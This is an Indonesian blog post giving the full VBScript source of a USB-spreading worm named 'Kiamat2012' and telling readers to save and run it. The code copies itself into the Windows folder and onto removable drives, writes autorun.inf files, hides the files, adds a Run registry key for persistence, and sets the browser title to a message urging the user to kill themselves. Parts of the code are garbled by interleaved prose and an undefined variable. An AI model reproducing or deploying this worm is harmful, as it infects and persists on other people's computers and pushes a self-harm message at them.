Membuat Virus Kiamat.Vbs

06.16 in VBS Virus

Yo Guyss..

pembukaan Blog ini saya isi dengan cara membauat Virus + HTML Data nya dengan ekstensi .VBS


----Copy kan Code Ini Ke Notepad Lalu Save Dengan Ekstensi VBS----



on error resume next '=====apabila terjadi suatu error maka lanjutkan ke kode dibawahnya
dim mysource,winpath,flashdriv

e,fs,mf,replikasi,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe Kiamat2012.vbs"
set fs = createobject("Scripting.FileSystemObject")
Set replikasi = createobject(StrReverse("tcejbOmetsySelif.gnitpircS"))
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop

'=====Deklarasi Buat About.HTML

Untuk Kode HTML na Bisa Anda Buat Sendiri..
Itung" Usaha GK cuman CopY Trus Paste aja ^^

Set love = createobject(StrReverse("tcejbOmetsySelif.gnitpircS"))
Set hateness = love.createtextfile("C:\Kiamat2012.html",1)
hateness.Write teks
Set hateness = love.createtextfile("C:\Documents and Settings\All Users\Desktop\Kiamat2012.html",1)
replikasi.CopyFile "C:\Kiamat2012.html", "c:\WINDOWS\System32\Kiamat2012.html"
hateness.Write teks
hateness.Close
DoEvents

'=====kopi html ke directory lain
on error resume next
replikasi.CopyFile "c:\WINDOWS\System32\Kiamat2012.html", "C:\Kiamat2012.html"
replikasi.CopyFile "c:\WINDOWS\System32\Kiamat2012.html", "D:\Kiamat2012.html"
DoEvents

'=====kode untuk mereplikasi virus ke flashdisk
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\Kiamat2012.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\Kiamat2012.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\Kiamat2012.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\Kiamat2012.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\Kiamat2012.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\Kiamat2012.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
replikasi.CopyFile "c:\WINDOWS\System32\Kiamat2012.html", flashdrive.Path & "\Kiamat2012.html"
end if
next
DoEvents

'=====sub tambahan
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Scripting Host",winpath&"\Kiamat2012.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","BUNUH DIRI ANDA, KIAMAT SUDAH DEKAT!"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname


Save dengan Ekstensi .VBS !!!

Sumber : ???????

Code Warna Biru : Itu Tiadk Terlalu Penting Hanya Untuk Petunjuk Saja... ^^